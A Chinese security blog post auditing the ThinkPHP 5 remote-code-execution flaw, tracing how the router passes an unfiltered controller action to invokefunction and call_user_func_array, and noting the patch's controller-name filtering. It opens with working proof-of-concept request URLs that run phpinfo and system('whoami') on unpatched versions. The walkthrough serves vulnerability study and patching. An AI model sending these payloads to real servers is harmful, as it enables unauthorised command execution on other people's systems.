Thinkphp5 RCE 代码审计

admin 2022年3月15日22:17:28评论142 views字数 6253阅读20分50秒阅读模式

             

前言


本着知其然,知其所以然的精神,对thinkphp5 控制器过滤不严导致的RCE漏洞进行了一次审计

POC:
/thinkphp/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp_5.0.22/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp5.0.22/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp5.1.29/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp_5.1.29/public/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


影响版本:thinkphp 5.0.23及以下

环境:phpstorm+xdebugThinkphp_5.0.14_fullphpstorm+xdebug环境可自行百度搭建poc: ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

POC效果:

Thinkphp5 RCE 代码审计


开始审计


前置知识:

Thinkphp5 RCE 代码审计

入口文件:Thinkphp5的入口文件位于public目录下的index文件

Thinkphp5 RCE 代码审计

跟进入口文件,先进行了一些配置加载、设置路由规则的工作

Thinkphp5 RCE 代码审计

加载完之后进入start.php开始执行

Thinkphp5 RCE 代码审计

Run方法:

public static function run(Request $request = null){        #初始化request对象        $request = is_null($request) ? Request::instance() : $request;
try { $config = self::initCommon();
// 模块/控制器绑定 if (defined('BIND_MODULE')) { BIND_MODULE && Route::bind(BIND_MODULE); } elseif ($config['auto_bind_module']) { // 入口自动绑定 $name = pathinfo($request->baseFile(), PATHINFO_FILENAME); if ($name && 'index' != $name && is_dir(APP_PATH . $name)) { Route::bind($name); } }
$request->filter($config['default_filter']);
// 默认语言 Lang::range($config['default_lang']); // 开启多语言机制 检测当前语言 $config['lang_switch_on'] && Lang::detect(); $request->langset(Lang::range());
// 加载系统语言包 Lang::load([ THINK_PATH . 'lang' . DS . $request->langset() . EXT, APP_PATH . 'lang' . DS . $request->langset() . EXT, ]);
// 监听 app_dispatch Hook::listen('app_dispatch', self::$dispatch); // 获取应用调度信息 $dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
// 记录当前调度信息 $request->dispatch($dispatch);
// 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
// 监听 app_begin Hook::listen('app_begin', $dispatch);
// 请求缓存检查 $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] );
$data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); }
// 清空类的实例化 Loader::clearInstance();
// 输出数据到客户端 if ($data instanceof Response) { $response = $data; } elseif (!is_null($data)) { // 默认自动识别响应输出类型 $type = $request->isAjax() ? Config::get('default_ajax_return') : Config::get('default_return_type');
$response = Response::create($data, $type); } else { $response = Response::create(); }
// 监听 app_end Hook::listen('app_end', $response);
return $response;}

跟进run方法,首先是自动加载机制autoload加载thinkapp类

Thinkphp5 RCE 代码审计

初始化、语言包加载、模块绑定等工作完成后开始获取调度信息dispatch未设置调度信息则进入routecheck()方法进行url检测

Thinkphp5 RCE 代码审计

Routecheck方法:

public static function routeCheck($request, array $config){        $path   = $request->path();        $depr   = $config['pathinfo_depr'];        $result = false;
// 路由检测 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 开启路由 if (is_file(RUNTIME_PATH . 'route.php')) { // 读取路由缓存 $rules = include RUNTIME_PATH . 'route.php'; is_array($rules) && Route::rules($rules); } else { $files = $config['route_config_file']; foreach ($files as $file) { if (is_file(CONF_PATH . $file . CONF_EXT)) { // 导入路由配置 $rules = include CONF_PATH . $file . CONF_EXT; is_array($rules) && Route::import($rules); } } }
// 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) { // 路由无效 throw new RouteNotFoundException(); } }
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); }
return $result;}

跟进routecheck()方法routecheck方法对pathinfo进行分析(tips:thinkphppathinfo格式为模块/控制器/操作/[参数名/参数值])

Thinkphp5 RCE 代码审计

调用path()方法获取到url的pathinfo信息,返回path= index/thinkapp/invokefunction” 

格式为模块名:index  

控制器名:thinkapp

操作名:invokefuncton

Routecheck()方法载入路由,对比pathinfo以生成调度信息

Thinkphp5 RCE 代码审计

随后进入路由检测,读取路由缓存内容、导入路由配置,随后进入check()方法根据解析的pathinfo信息与路由进行对比,因路由规则中不存在对应的路由信息,返回$result=fasle,代表路由无效,无调度信息

Thinkphp5 RCE 代码审计

因为根据路由缓存检测出调度信息无效,所以进入parseURL进行URL的解析进行url的解析以再次获取调度信息

Thinkphp5 RCE 代码审计

跟进parseURLparseURL中调用了parseUrlPath来解析url,此时url= “index|thinkapp|invokefunction” parseurlPathurl解析为数组形式,$path:{“index”,”thinkapp”,”invokefunction”},分别为模块、控制器、操作

Thinkphp5 RCE 代码审计

ParseURL对parseURLpath返回的数组$path进行模块、控制器、操作的解析,得到结果:模块$module = “index”  控制器$controller=”thinkapp”  操作 $action = “invokefunction”

Thinkphp5 RCE 代码审计

随后对获取的信息进行路由封装,得到$route = {“index“,”thinkapp”,”invokefunction”}

Thinkphp5 RCE 代码审计

继续跟进,对路由进行记录、检测缓存信息,完成后进入exec()方法

Thinkphp5 RCE 代码审计

Exec方法:

protected static function exec($dispatch, $config){        switch ($dispatch['type']) {            case 'redirect': // 重定向跳转                $data = Response::create($dispatch['url'], 'redirect')                    ->code($dispatch['status']);                break;            case 'module': // 模块/控制器/操作                $data = self::module(                    $dispatch['module'],                    $config,                    isset($dispatch['convert']) ? $dispatch['convert'] : null                );                break;            case 'controller': // 执行控制器操作                $vars = array_merge(Request::instance()->param(), $dispatch['var']);                $data = Loader::action(                    $dispatch['controller'],                    $vars,                    $config['url_controller_layer'],                    $config['controller_suffix']                );                break;            case 'method': // 回调方法                $vars = array_merge(Request::instance()->param(), $dispatch['var']);                $data = self::invokeMethod($dispatch['method'], $vars);                break;            case 'function': // 闭包                $data = self::invokeFunction($dispatch['function']);                break;            case 'response': // Response 实例                $data = $dispatch['response'];                break;            default:                throw new InvalidArgumentException('dispatch type not support');        }
return $data;}

跟进exec()方法,exec根据dispatch数组中type字段的值进入module分支,并调用module方法

Thinkphp5 RCE 代码审计

跟进module方法,module方法首先对模块进行部署、初始化、缓存检查

Thinkphp5 RCE 代码审计

随后module方法获取模块名index、控制器名thinkapp、操作名invokefunction

Thinkphp5 RCE 代码审计

随后分别进入controller()方法、parseName()方法、action()方法设置控制器、操作并载入

Thinkphp5 RCE 代码审计

Thinkphp5 RCE 代码审计

设置并加载控制器、操作后通过is_callable()查看invokefunction是否能被调用,若不可调用则抛出404不存在

Thinkphp5 RCE 代码审计

随后进入invokemethod方法

Thinkphp5 RCE 代码审计

跟进invokemethodinvokemethod通过反射机制ReflectionMethod调用操作invokefunctionbindParams用于获取绑定参数 args = {“call_user_func_array”,”{system”, {“whoami”}}”}

Thinkphp5 RCE 代码审计

此时通过反射机制将调用操作指定为invokefunction ,将参数绑定为args = {“call_user_func_array”,”{system”, {“whoami”}}”}

随后进入invokeargs方法,invokeargs通过反射进入invokefunction方法,在此设置反射为call_user_func_array(),绑定参数为system和whoami

Thinkphp5 RCE 代码审计

再次调用invokeargs()方法,成功调用call_user_func(system(“whoami”))达到远程代码执行的目的 

Thinkphp5 RCE 代码审计

退出module达到命令执行目的

Thinkphp5 RCE 代码审计


总结


结合此次RCE审计流程来看,漏洞点主要是解析pathinfo的时候并没有对控制器操作进行过滤,导致恶意用户将控制器操作指向invokefunction,再结合call_user_fun_array达到了远程代码任意执行的攻击效果,通过对比thinkphp发布的补丁可以看出,thinkphp通过增加对控制器名的过滤达到修复。

本文始发于微信公众号(InBug实验室):Thinkphp5 RCE 代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日22:17:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thinkphp5 RCE 代码审计http://cn-sec.com/archives/495478.html

发表评论

匿名网友 填写信息